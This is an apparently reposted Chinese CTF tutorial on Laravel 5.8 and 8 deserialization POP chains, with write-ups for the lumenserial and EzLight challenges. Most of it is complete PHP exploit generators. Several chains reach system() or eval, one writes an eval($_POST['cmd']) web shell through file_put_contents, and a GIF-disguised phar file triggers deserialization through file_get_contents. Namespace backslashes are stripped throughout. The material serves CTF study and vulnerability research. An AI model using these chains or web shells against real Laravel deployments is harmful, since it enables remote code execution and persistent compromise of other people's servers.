• 通过几道CTF题学习Laravel框架


    Laravel5.8.x反序列化POP链

    安装:其中--prefer-dist表示优先下载zip压缩包方式

    composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8

    在路由文件routes/web.php中添加

    Route::get('/foo', function () {
      if(isset($_GET['c'])){
          $code = $_GET['c'];
          unserialize($code);
      }
      else{
          highlight_file(__FILE__);
      }
      return "Test laravel5.8 pop";
    });

    然后在public目录起一个php服务就可以进行测试了

    cd /public
    php -S 0.0.0.0:port
    /foo?c=

    链一

    链的入口是在laravel5.8vendorlaravelframeworksrcIlluminateBroadcastingPendingBroadcast.php

    public function __destruct()
      {
          $this->events->dispatch($this->event);
      }

    这里的$this->events$this->event可控,这里把$this->events设为含有dispatch方法的Dispatcher类,我们看到laravel5.8vendorlaravelframeworksrcIlluminateBusDispatcher.php

    public function dispatch($command)
      {
          if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
              return $this->dispatchToQueue($command);
          }
          return $this->dispatchNow($command);
      }

    跟踪进commandShouldBeQueued

    protected function commandShouldBeQueued($command)
      {
          return $command instanceof ShouldQueue;
      }

    这里要求$command(即传进来的$this->event)要实现ShouldQueue该接口

    满足ShouldQueue接口的实现类即可,再跟踪进dispatchToQueue看一下

    public function dispatchToQueue($command)
      {
          $connection = $command->connection ?? null;

          $queue = call_user_func($this->queueResolver, $connection);

    这里的$this->queueResolver$connection都是可控的,到这里就可以直接构造payload

    rce

    <?php
    namespace IlluminateBroadcasting {
      class PendingBroadcast {
          protected $events;
          protected $event;
          public function __construct($events, $event) {
              $this->events = $events;
              $this->event = $event;
          }
      }
      class BroadcastEvent {
          public $connection;
          public function __construct($connection) {
              $this->connection = $connection;
          }
      }
    }
    namespace IlluminateBus {
      class Dispatcher {
          protected $queueResolver;
          public function __construct($queueResolver){
              $this->queueResolver = $queueResolver;
          }
      }
    }
    namespace {
      $c = new IlluminateBroadcastingBroadcastEvent('whoami');
      $b = new IlluminateBusDispatcher('system');
      $a = new IlluminateBroadcastingPendingBroadcast($b, $c);
      print(urlencode(serialize($a)));
    }

    eval执行

    到这里已经可以调用任意类的任意方法了,但是call_user_func无法执行eval函数,如果我们的systemban了的话,就需要继续寻找执行任意命令的函数,我们找到laravel5.8vendormockerymockerylibraryMockeryLoaderEvalLoader.php

    class EvalLoader implements Loader
    {
      public function load(MockDefinition $definition)
      {
          if (class_exists($definition->getClassName(), false)) {
              return;
          }

          eval("?>" . $definition->getCode());
      }
    }

    这里有一个eval函数,这里需要绕过eval上面的if语句,否则直接就return

    $definition变量是MockDefinition类,跟进一下

    class MockDefinition
    {
      protected $config;
      protected $code;
      ...
      public function getClassName()
      {
          return $this->config->getName();
      }
      public function getCode()
      {
          return $this->code;
      }
    }

    这里$code$config可控,但是呢$definition->getClassName()需要一个不存在的类,我们找一个类其getName是可控的,然后构造一个不存在的类即可,如下

    laravel5.8vendormockerymockerylibraryMockeryGeneratorMockConfiguration.php

    class MockConfiguration
    {
      ...
    public function getName()
      {
          return $this->name;
      }
      ...
    }

    payload如下

    <?php
    namespace IlluminateBroadcasting{
      class PendingBroadcast{
          protected $events;
          protected $event;
          public function __construct($events, $event)
          {
              $this->event = $event;
              $this->events = $events;
          }
      }
    }
    namespace IlluminateBroadcasting{
      class BroadcastEvent
      {
          public $connection;

          public function __construct($connection)
          {
              $this->connection = $connection;
          }
      }
    }
    namespace IlluminateBus{
      class Dispatcher
      {
          protected $queueResolver;

          public function __construct($queueResolver)
          {
              $this->queueResolver = $queueResolver;
          }
      }
    }
    namespace MockeryGenerator{
      class MockDefinition
      {
          protected $config;
          protected $code;

          public function __construct(MockConfiguration $config)
          {
              $this->config = $config;
              $this->code = '<?php phpinfo();?>';
          }
      }
    }

    namespace MockeryGenerator{
      class MockConfiguration
      {
          protected $name = "none class";
      }
    }

    namespace MockeryLoader{
      class EvalLoader
      {
          public function load(MockDefinition $definition)
          {

          }
      }
    }
    namespace {
      $config = new MockeryGeneratorMockConfiguration();
      $connection = new MockeryGeneratorMockDefinition($config);
      $event = new IlluminateBroadcastingBroadcastEvent($connection);
      $queueResolver = array(new MockeryLoaderEvalLoader(),"load");
      $events = new IlluminateBusDispatcher($queueResolver);
      $pendingBroadcast = new IlluminateBroadcastingPendingBroadcast($events, $event);
      echo urlencode(serialize($pendingBroadcast));
    }

    利用跳板

    如果说靶机禁用了system等函数,我们希望用file_put_contentsshell等双参数的函数呢,这里有一个好的跳板laravel5.8vendorphpoptionphpoptionsrcPhpOptionLazyOption.php

    final class LazyOption extends Option
    {
      ...
      public function filter($callable)
      {
          return $this->option()->filter($callable);
      }
      ...
    private function option()
      {
          if (null === $this->option) {
              /** @var mixed */
              $option = call_user_func_array($this->callback, $this->arguments);

    这里的$this->callback$this->arguments是可控的,但是注意到option的属性是private,无法直接从我们刚刚的call_user_func直接去调用它,但是有许多类似filter的函数里面有调用option

    这里可以直接构造payload

    <?php
    namespace IlluminateBroadcasting {
      class PendingBroadcast {
          protected $events;
          protected $event;
          public function __construct($events, $event) {
              $this->events = $events;
              $this->event = $event;
          }
      }
      class BroadcastEvent {
          public $connection;
          public function __construct($connection) {
              $this->connection = $connection;
          }
      }
    }
    namespace IlluminateBus {
      class Dispatcher {
          protected $queueResolver;
          public function __construct($queueResolver){
              $this->queueResolver = $queueResolver;
          }
      }
    }
    namespace PhpOption{
      final class LazyOption{
          private $callback;
          private $arguments;
          public function __construct($callback, $arguments)
          {
              $this->callback = $callback;
              $this->arguments = $arguments;
          }
      }
    }
    namespace {
      $d = new PhpOptionLazyOption("file_put_contents", ["shell.php", "<?php eval($_POST['cmd']) ?>"]);
      $c = new IlluminateBroadcastingBroadcastEvent('whoami');
      $b = new IlluminateBusDispatcher(array($d,"filter"));
      $a = new IlluminateBroadcastingPendingBroadcast($b, $c);
      print(urlencode(serialize($a)));
    }

    链二

    入口同样是

    public function __destruct()
      {
          $this->events->dispatch($this->event);
      }

    这里转换思路,找某个类没有实现dispatch方法却有__call方法,这里就可以直接调用,找到laravel5.8vendorlaravelframeworksrcIlluminateValidationValidator.php

    class Validator implements ValidatorContract
    {
      ...
    public function __call($method, $parameters)
      {
          $rule = Str::snake(substr($method, 8));

          if (isset($this->extensions[$rule])) {
              return $this->callExtension($rule, $parameters);
          }

    这里的$method是固定的字符串dispatch,传到$rule的时候为空,然后$this->extensions可控

    跟踪进callExtension方法

    protected function callExtension($rule, $parameters)
      {
          $callback = $this->extensions[$rule];

          if (is_callable($callback)) {
              return call_user_func_array($callback, $parameters);

    $callback$parameters可控,于是就可以构造payload

    <?php
    namespace IlluminateBroadcasting{
      class PendingBroadcast{
          protected $events;
          protected $event;

          public function __construct($events, $event)
          {
              $this->events = $events;
              $this->event = $event;
          }
      }
    }

    namespace IlluminateValidation{
      class Validator{
          protected $extensions;
          public function __construct($extensions)
          {
              $this->extensions = $extensions;
          }
      }
    }

    namespace{
      $b = new IlluminateValidationValidator(array(''=>'system'));
      $a = new IlluminateBroadcastingPendingBroadcast($b, 'id');
      echo urlencode(serialize($a));
    }

    这条链在Laravel8里面也是可以用的

    利用跳板

    和上面一样可以加LazyOption这个跳板

    <?php
    namespace IlluminateBroadcasting {
      class PendingBroadcast {
          protected $events;
          protected $event;
          public function __construct($events, $event) {
              $this->events = $events;
              $this->event = $event;
          }
      }
    }

    namespace IlluminateValidation {
      class Validator {
          public $extensions;
          public function __construct($extensions){
              $this->extensions = $extensions;
          }
      }
    }

    namespace PhpOption {
      class LazyOption {
          private $callback;
          private $arguments;
          public function __construct($callback, $arguments) {
              $this->callback = $callback;
              $this->arguments = $arguments;
          }
      }
    }

    namespace {
      $c = new PhpOptionLazyOption("file_put_contents", ["shell.php", "<?php eval($_POST['cmd']) ?>"]);
      $b = new IlluminateValidationValidator(array(''=>array($c, 'filter')));
      $a = new IlluminateBroadcastingPendingBroadcast($b, 'whoami');
      print(urlencode(serialize($a)));
    }

    Laravel8反序列化POP链

    在下面参考链接文章中Laravel8有介绍三条链都很详细,链和上面Laravel5.8也差不太多,就不赘述,然后有一条可以phpnfo的,同样是经典入口类

    laravel859vendorlaravelframeworksrcIlluminateBroadcastingPendingBroadcast.php

    public function __destruct()
      {
          $this->events->dispatch($this->event);
      }

    这里的$this->events$this->event可控

    同样这里有两种方法,要不使$this->events为某个拥有dispatch方法的类,我们可以调用这个类的dispatch方法

    要不就使$this->events为某个类,并且该类没有实现dispatch方法却有__call方法,那么就可以调用这个__call方法了

    看到laravel859vendorlaravelframeworksrcIlluminateViewInvokableComponentVariable.php

    public function __call($method, $parameters)
      {
          return $this->__invoke()->{$method}(...$parameters);
      }

      /**
        * Resolve the variable.
        *
        * @return mixed
        */
      public function __invoke()
      {
          return call_user_func($this->callable);
      }

    这里的_call会直接调用__invoke$this->callable也是我们可控的,不过这里只能调用phpinfo,比较鸡肋,payload如下

    <?php
    namespace IlluminateBroadcasting {
      class PendingBroadcast {
          protected $events;
          protected $event;
          public function __construct($events, $event) {
              $this->events = $events;
              $this->event = $event;
          }
      }
    }
    namespace IlluminateView {
      class InvokableComponentVariable {
          protected $callable;
          public function __construct($callable)
      {
          $this->callable = $callable;
      }
      }
    }

    namespace {
      $b = new IlluminateViewInvokableComponentVariable('phpinfo');
      $a = new IlluminateBroadcastingPendingBroadcast($b, 1);
      print(urlencode(serialize($a)));
    }

    因为这里我们只能控制$this->callable,想要rce的话,还可以去找无参的方法里面带有call_user_func或者eval然后参数可控之类的,但是这里我找了好像没找到,读者有兴趣可以去试试

    CTF题目

    lumenserial

    lumenserial outesweb.php先看到路由文件

    $router->get('/server/editor', 'EditorController@main');
    $router->post('/server/editor', 'EditorController@main');

    再看到

    lumenserialappHttpControllersEditorController.php

    class EditorController extends Controller
    {
    private function download($url)
      {
    ...
          $content = file_get_contents($url);

    发现这里的$url传进file_get_contents可以phar反序列化,然后$url的值来源于doCatchimage 方法中的 $sources 变量

    class EditorController extends Controller
    {
      ...
    protected function doCatchimage(Request $request)
      {
          $sources = $request->input($this->config['catcherFieldName']);
          $rets = [];

          if ($sources) {
              foreach ($sources as $url) {
                  $rets[] = $this->download($url);
              }

    我们看到main发现他是通过call_user_func来调用带do开头的方法

    class EditorController extends Controller
    {
      ...
    public function main(Request $request)
      {
          $action = $request->query('action');

          try {
              if (is_string($action) && method_exists($this, "do{$action}")) {
                  return call_user_func([$this, "do{$action}"], $request);
              } else {

    可以通过如下控制变量

    http://ip/server/editor/?action=Catchimage&source[]=phar://xxx.gif

    然后在上面的5.8链的基础加上如下

    @unlink("test.phar");
    $phar = new Phar("test.phar");//后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
    $phar->setMetadata($pendingBroadcast);//将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test");//添加要压缩的文件
    $phar->stopBuffering();

    上传phar文件再用phar协议打即可

    [HMBCTF 2021]EzLight

    给了source.zip源码,是laravel框架开发的lightcms,先在本地把环境搭起来先,主要是修改.env文件改改数据库信息

    先看到sourcesourceappHttpControllersAdminNEditorController.php

    public function catchImage(Request $request)
      {
      ...
      $files = array_unique((array) $request->post('file'));
          $urls = [];
          foreach ($files as $v) {
              $image = $this->fetchImageFile($v);

    catchImage函数里面以post传给file参数再给到fetchImageFile$url

    protected function fetchImageFile($url)
      {
      if (isWebp($data)) {
                  $image = Image::make(imagecreatefromwebp($url));
                  $extension = 'webp';
              } else {
                  $image = Image::make($data);
              }

    这里的$url可控,这里imagecreatefromwebp因为isWebp的限制无法进入,所以这里的分支是进入Image::make($data);来,我们在此处下一个断点,然后分析一下前面的代码,我们需要在vps上放一个图片的链接,然后在http://127.0.0.1:9001/admin/neditor/serve/catchImage传参数即可动态调试了

    然后一直跟进就可以发现有个file_get_contents函数

    至此结束,这里可以phar反序列化了

    用上面的链一即可

    <?php
    namespace IlluminateBroadcasting {
        class PendingBroadcast {
            protected $events;
            protected $event;
            public function __construct($events, $event) {
                $this->events = $events;
                $this->event = $event;
            }
        }
        class BroadcastEvent {
            public $connection;
            public function __construct($connection) {
                $this->connection = $connection;
            }
        }
    }
    namespace IlluminateBus {
        class Dispatcher {
            protected $queueResolver;
            public function __construct($queueResolver){
                $this->queueResolver = $queueResolver;
            }
        }
    }
    namespace PhpOption{
        final class LazyOption{
            private $callback;
            private $arguments;
            public function __construct($callback, $arguments)
            {
                $this->callback = $callback;
                $this->arguments = $arguments;
            }
        }
    }
    namespace {
        $d = new PhpOptionLazyOption("file_put_contents", ["shell.php", "<?php phpinfo();eval($_POST['cmd']);?>"]);
        $c = new IlluminateBroadcastingBroadcastEvent('whoami');
        $b = new IlluminateBusDispatcher(array($d,"filter"));
        $a = new IlluminateBroadcastingPendingBroadcast($b, $c);
        print(urlencode(serialize($a)));
    
        @unlink("test.phar");
        $phar = new Phar("test.phar");//后缀名必须为phar
        $phar->startBuffering();
        $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
        $phar->setMetadata($a);//将自定义的meta-data存入manifest
        $phar->addFromString("test.txt", "test");//添加要压缩的文件
        $phar->stopBuffering();
        rename('test.phar','test.jpg');
    }
    

    上传之后,在vps上放

    phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif
    

    再到/admin/neditor/serve/catchImagefile传参打就可以了

    本文涉及相关实验:PHP反序列化漏洞实验 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)

    合天智汇:合天网络靶场、网安实战虚拟环境
  • 相关阅读:
    git命令 提交/拉取代码
    java获得当前时间
    jsp中下拉菜单显示数据库里的内容
    commons-fileupload.jar包和 commons-io.jar包下载地址
    java.sql.SQLSyntaxErrorException
    jsp跳转前加入提示语句
    java.sql.SQLException: No value specified for parameter 12
    Tomcat 常见 "The value for the useBean class attribute is invalid" 错误
    java.lang.ClassNotFoundException
    数据库知识
  • 原文地址:https://www.cnblogs.com/hetianlab/p/14892476.html
Copyright © 2020-2023  润新知